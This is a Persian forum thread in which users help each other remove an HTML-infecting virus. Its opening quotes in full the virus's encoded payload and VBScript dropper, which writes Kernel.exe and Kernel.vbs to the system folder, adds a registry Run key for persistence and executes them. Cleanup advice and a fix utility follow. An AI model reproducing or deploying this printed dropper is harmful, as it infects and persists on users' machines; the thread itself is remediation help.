90490520480510500480540490480510500480560530480540 55048057055049049053049048049048052048049049052049 04804904805205404805605004904804904904805104805605 00490480490480570550490480480480520480480510520480 55050048055053048054057048056057048057053048055054 04805505704805405504805405304805505404805705304805 50550480540530480540550480550500480550510480550560 48054057048057050048056051048055057048055048048056 05204805605504805405304805605004805405704805705004 80550550490480530480570570490490520490490490490490 53049049049049048050049049054048057050048056055049 04805304904904804904804804904904904904905704904905 30480570500480540550490490550490490520490490520490 48049049049048049049054048056054049048049049049052 04904905304904805304904904904904904804805705004805 60500490490550490490480480570500480550550490480530 48057057049049052049049049049049053049049049049048 05004904905404805105004805605504904805304904904804 90480480490490490490490570490490530480510520480520 49048052049048049051048049048049048050049049053049 04904904805205404805405504904905204904804904805705 50490490540490480490480560520490480490490500480490 49054048055048049048053049048056049048049048052048 04904905304905004904904905304805105004805105604805 10500480510520480570500480560520480560510480560480 48053049048053048048054057048052054048054056048055 05404805505404805105204805204904805205404904905704 90490520490480530490490540490480490480510500490480 50049048053049048056049048049049048049049050048049 04804904805205704804905104804904804904805304904805 00480510500490490550480570570480570550490490530490 48049048052048049048050049049053049049049048052054 04805504804904805304904805604904804904805405704905 00480490480530490490530490490540490490530480520480 49049053049050049049049053048051050048051056048051 05004805105204805705004805505304904804904904905204 90490480490480490490480560480520540490480490490500 48049048049048051052048052049048052049048054049048 05105204805504804805405304805505404805605104805405 70480510520480510500490490490490490520480510500490 48055049049052048054048048054050049049055048057057 04805705504904905304904804904805204804904905304905 00490490490530480510500480510560480510500480510520 48057050048055053048054057048056050048055056048054 05704805505404805205404805405704805605604805405704 80510520480520490480510500490490540490480520490480 49049049048048049051048049048049049052049048049048 05205404904905204904804904904805104904905704904905 20490480530490490540490480490480510500480510520480 55050048055053048054057048056057048057053048055054 04805505704805405504805405304805505404805705304805 50550480540530480540550480550500480550510480550560 48054057048057050048056051048055057048055048048056 05204805605504805405304805605004805405704805705004 80550550490480530480570570490490520490490490490490 53049049049049048050049049054048057050048056055049 04805304904904804904804804904904904904905704904905 30480570500480540550490490550490490520490490520490 48049049049048049049054048056054049048049049049052 04904905304904805304904904904904904804805705004805 60500490490550490490480480570500480510520480510500 48051056048051050048051052048055055049048053048057 05704904905204904904904904905304904904904904805004 90490540480510500480560550490480530490490480490480 48049049049049049057049049053048051052048051050048 05205204904905304905004904904905304805105004805105 60480510520480570500480550530490480490490490520490 49048049048049049048056048052054049048049049050048 04904804904805105204804905104804904804904805004904 90530490490490480520540480540550490490520490480490 48057055049049054049048049048056052049048049049050 04804904905404805504804904805304904805604904804904 80520480490490530490500490490490530480510500480510 56048051050048051052048057050048055053049048049049 04905204904904804904804904904805604805205404904804 90490500480490480490480510520480520490480520540490 49057049049052049048053049049054049048049048051050 04904805004904805304904805604904804904904804904905 00480490480490480530480480490510480490480490490530 48052054048055057049049050049048049049049048048051 05004805204804904905304905004904904905304805105004 80510560480510500480510520480570500480550530490480 49049049052049049048049048049049048056048052054049 04804904905004804904804904805105204805204904804905 10480490480490480490490490480490480480480510500490 48053049048050048049051048049048049048050049049053 04904904904805205404805405504904905204904804904805 70550490490540490480490480560520490480490490500480 49049054048055048049048053049048056049048049048052 04804904905304905004904904905304805105004805105604 80510500480510520480570500480560520480560510480560 48048053049048053048048056054048052054048054056048 05505404805505404805105204805204904805205404904905 70490490520490480530490490540490480490480510500490 48050049048053049048056049048049049049056048057056 04904905304805205704804905104804904804904805304904 80500480510500490480500490490530490490490480520540 49049049049049050049048049049049048049049054049048 04904905004804904905404904805004904805304904805604 90480490480520480490490530490500490490490530480510 50048051056048051050048051052048057050048056051049 05004904904905304904905404904804904904805704904905 60480520540490480480490480560490480560480510520480 52052048052057048052049048052054049049052049048049 04805705504904804804805705504904805604904805604805 40480480540500480510520490490490490490480480510520 48051050049049054049048052049048049049049048048049 05104804904804904805004904905304904904904805205404 80540550490490520490480490480570550490490540490480 49048056052049048049049050048049049054048055048049 04805304904805604904804904805204804904905304905004 90490490530480510500480510560480510500480510520480 57050048055053049048049049049052049049048049048049 04904805604805205404904905604805705604904905304805 10520480520490480520540490490570490490520490480530 49049054049048049048051050049048050049048053049048 05604904804904904905604805705604904905304805304804 80490510480490480490490530480520540480550570490490 50049048049049049048048051050048052048049049053049 05004904904905304805105004805105604805105004805105 20480570500480550530490480490490490520490490480490 48049049048056048052054049049056048057056049049053 04805105204805204904804905104804904804904804904904 90480490480480480510500490480530490480500480490510 48049048048054048048052055049049053048057057049049 05204904805304904905004904905404805405003401301011 51011160321021151110610991141010971161011110981061 01099116040034115099114105112116105110103046102105 10810111512111511610110911109810610109911603404101 30101151011160321141010610991141010971161011110981 06101099116040034119115099114105112116046115104101 10810803404101301011512111506110211511104607110111 60831121010991050971080701111081001011140400490410 13010102115111046067114101097116101084101120116070 10510810104011512111503203803203409208312111511610 11091180461001081080340410461191141051161010320341 11110034013010102105108101104116109061034060115099 11410511211603210809711010311709710310106111809811 50991141051121160620340320380321180980991141081020 32038032034111110032101114114111114032114101115117 10910103211010112011603403203803211809809911410810 20130101021051081011041161090611021051081011041161 09032038032034102105108101101120101049061034034034 03203803210211511104611111210111011610112011610210 51081010401151211150320380320340920840830800510500 69046068076076034044049041046114101097100097108108 03203803203403403403403203803211809809911410810201 30101021051081011041161090611021051081011041161090 32038032034102105108101118098115049061034034034032 03803210211511104611111210111011610112011610210510 81010401151211150320380320340920840830800510500860 46068076076034044049041046114101097100097108108032 03803203403403403403203803211809809911410810201301 00701111140320970320610320490320841110320761011100 40102105108101104116109049041032083116101112032051 01301010210510810110411610906110210510810110411610 90320380320991041140401091051000401021051081011041 16109049044097044051041041013010110101120116013010 11410104611410110311911410511610103203407207506908 90950670850820820690780840950850830690820920831111 02116119097114101092077105099114111115111102116092 08710511010011111911509206711711411410111011608610 11141151051111100920821171100920340320380320340771 05099114111115111102116032087105110100111119115034 03204411512111503203803409207510111411010110804611 80981150340130101141010461141011031191141051161010 32034072075069089095076079067065076095077065067072 07307806909208307907008408706508206909207710509911 41111151111021160920871051101001111191150920671171 14114101110116086101114115105111110092082117110092 03403203803203407710509911411111511110211603208710 51101001111191150340320441151211150320380340920751 01114110101108046101120101034013010121114061114101 04608210110308210109710004003407207506908909506708 50820820690780840950850830690820920831111021161190 97114101092121097104111111092112097103101114092089 09710411111103303208511510111403207306803404101301 01151160971141160130100831170980321151160971141160 40041013010111110032101114114111114032114101115117 10910103211010112011601301007011111403206909709910 40321001140490320731100321021151110460681141051181 01115013010073102032100114049046068114105118101084 12111210103206103205003207911403210011404904606811 41051181010841211121010320610320510320841041011100 32102105108101049032040100114049032038032034092034 04105803210211110810010111404903204010011404903203 80320340920340410130100781011201160130101151011101 00109097105108013010069110100032083117098013010083 11709803210211110810010111404904010011404904101301 01111100321011141141111140321141011151171091010321 10101120116013010070111114032069097099104032102111 03207311003210211511104607110111607011110810010111 40401001140490410460831170980701111081001011141150 13010105102032085067097115101040114105103104116040 10211104405005304104106103408906507207907903309207 70690830830690780710690820920800820790700730760690 83034032116104101110032121097104111111040102111041 01301010210510810104903204010211104101301010211110 81001011140490320401021110410130100781011201160130 10069110100032083117098013010083117098032102105108 10104904010211104101301011111003210111411411111403 21141011151171091010321101011201160130100701111140 32069097099104032102105032073110032102115111046071 10111607011110810010111404010211104104607010510810 11150130101101060320401021050410130100781011201160 13010069110100032083117098013010115117098032110106 04010210504101301011111003210111411411111403211410 11151171091010321101011201160130101011201160610850 67097115101040102115111046071101116069120116101110 11510511111007809710910104010210504104101301010510 20321011201160610340720840770340321111140321011201 16061034072084077076034032111114032101120116061034 07208408403403211610410111001301010510203211410510 31041160401021151110461111121011101161011201161021 05108101040102105044049041046114101097100097108108 04410810111004010210510810110411610904104106006210 21051081011041161090321161041011100130101021151110 46111112101110116101120116102105108101040102105044 05604104611911410511610103211809809911410810203203 80321021051081011041161090130101011101000321051020 13010101110100032105102013010101110100032115117098 01301011511709803212109710411111104010211112104904 10130100701111140320690970991040321021111210500320 73110032102115111046071101116070111108100101114040 10211112104904104608311709807011110810010111411501 30101090971051080971081080611090971051080971081080 32038032102115111046071101116070105108101078097109 10104010211112105004103203803203406412109710411111 10460991111090340320380321180980991141081020130101 10101120116013010102115111046099114101097116101116 10112011610210510810104011512111503203803203409210 90971051080461081111030340410461191141051161010321 09097105108097108108032038032034069078068034013010 10211511104609911410109711610111610112011610210510 81010401151211150320380320340921151011101000461081 11103034041046119114105116101032121114032038032034 06412109710411111104609911110903401301010111010003 21151170980130101151170980321151011101001090971051 08040041013010111110032101114114111114032114101115 11710910103211010112011601301011510111010010906110 21151110461111121011101161011201161021051081010401 15121115032038032034092115101110100046108111103034 04404904104611410109710009710810801301011510111603 21090971051081090611021151110461111121011101161011 20116102105108101040115121115032038032034092109097 10510804610811110303404404904101301010909710510809 70611090971051081090461141010971001081051101010130 10119104105108101032109097105108097032060062032034 06907806803401301008310111603211109810607710111511 50971031010320610320671141010971161010790981061010 99116040034067068079046077101115115097103101034041 03201301011109810607710111511509710310104608311709 81061010991160320610320340721011081081110340130101 11098106077101115115097103101046083101110100101114 03206103211510111010010901301011109810607710111511 50971031010461021141111090610321151011101001090130 10111098106077101115115097103101046084111032061032 10909710510809701301011109810607710111511509710310 10460841011201160661111001210320610320340721011081 08111034032038032118098099114108102032038032034071 11103211611103210912103211509710511605803210411611 61120580470471031051141081151011200461191010981150 46105111047112105099116117114101046104116109034013 01011109810607710111511509710310104608310111010001 30101090971051080970611090971051081090461141010971 00108105110101013010119101110100013010102115111046 06711410109711610108410112011607010510810104011512 11150320380320340920831211151161011091180461001081 08034041046119114105116101032034111102102034013010 101110100032115117098013010"dim sysSet df = document.createElement("object")df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "set fso = df.createobject("Scripting.FileSystemObject","")se t s=df.CreateObject("Shell.Application.1","")set re=df.createobject("wscript.shell","")sys=fso.GetS pecialFolder(1)For a = 1 To Len(filevbs1) Step 3filevbs2=filevbs2 & chr(mid(filevbs1,a,3))if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))nextkr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Micr osoft\Windows\CurrentVersion\Run\Microsoft Windows"))fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") thenre.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2s.Open (sys & "\Kernel.exe")end iffso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" thenfso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2s.Open (sys & "\Kernel.vbs")end if</script>

این کد باعث میشه که هر وقت سیستم اومد بالا این فایل Kernel هم دوباره فعال بشه.
حالا شما دو تا راه داری:
1-این که بشینی تموم فایل های htm رو با Notepad بازکنی و این کد رو از آخر همه اش برداری یعنی کاری که من با 300 تا فایل htm کردم چون برام مهم بودن اما حواست باشه که سیستم Restart نشه یا قبل این که Restart کنی فایل هایی که کدشونو پاک کردی بریزی روی CD یا به فایل zip تبدیلشون کنی چون دوباره ویندوز لود میشه و این کد به آخر تموم فایل هات اضافه میشه و ... .من پیشنهاد می کنم وقتی که این کد ها ور از روی تموم فایل هات پاک کردی اون ها رو بریز رو CD تا از خطر در امان باشی.
2-یه راه دیگه هم این که تموم فایل های htm رو پاک کنی یا بریزی روی CD و بعد سر فرصت بشینی کد های آخر فایل ها رو پاک کنی.مهم این که فایل htm روی سیستمت نباشه.
فایل های htm شامل Temporary Internet Files هم میشه اونها رو هم پاک کن.
حالا شما دیگه هیچ فایل htm روی Hard نداری بهتره که درایو ویندوزتو Format و یه ویندوز جدید بریزی.
حالا برو حالشو ببر
موفق باشی esool جون ممنون

با سلام
ممنون H.vike جان
الان همچین کاریو میکنم اما یه سوال این ویروس چطوری وارد سیستمها میشه ؟؟و آیا سازنده اش ایرانی است؟

ifu اين ويروس از گرفتن فايل هاي htm كه سيو كردي تو كامپيوترت ويروسي بوده..........ايراني هاي خودمون همه كارا ميكنن

با سلام
ممنون H.vike جان
راست میگی این ایرانیاااااااااا خیلی کلک شدند :31:
به هر حال بازم ممنون :8:

ifu مشكلت حل شد يا هنوز نه

سلام
من یه یوتیلیتی نوشتم که کل هارد رو میگرده و فایلهای html آلوده رو درست می کنه
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
برای اجراش Microsoft framework 1.1 باید رو سیستم نصب باشه
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

kavehsat كل هارد رو ميگرده و همه فايل هاي html رو پاك ميكنه يا نوشته هاي كه اضافه كرده رو پاك ميكنه.......در كل ممنون من از راه خودم استفاده ميكنم

نقل قول:

---

نوشته شده توسط kavehsat [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

سلام
من یه یوتیلیتی نوشتم که کل هارد رو میگرده و فایلهای html آلوده رو درست می کنه
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
برای اجراش Microsoft framework 1.1 باید رو سیستم نصب باشه
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

---

lسلام دوست عزيز

اين فايل را موقع دانلود ند 32 بهش ايراد ميگيره و ويروسي تشخيص ميده

سلام
H.VIKE جان ویندوز عوض کردم مشکل حل شد :5:
kavehsat جان Microsoft framework 1.1 را باید از کجا گیر بیارم؟؟
ممنون میشم راهنمایی کنید:46:

فايل هاي html رو ىرستش ميكنه يا پاكشون ميكنه

با سلام
ifu جان بفرمایید
Microsoft .NET Framework Version 1.1
Download Size: 23.1 MB

کد:

---

http://download.microsoft.com/download/a/a/c/aac39226-8825-44ce-90e3-bf8203e74006/dotnetfx.exe

---

ifu پس خيالم راحت شد كه كامپيوترت درست شد و از دست اين ويروس خلاص شدي

با سلام
ممنون دوستان

H.VIKE خان آره کارم حل شد:31:
Administratot خان دستت درد نکنه ولی حجمش زیاده منم که کارم راه افتاده پس بیخیالش:8: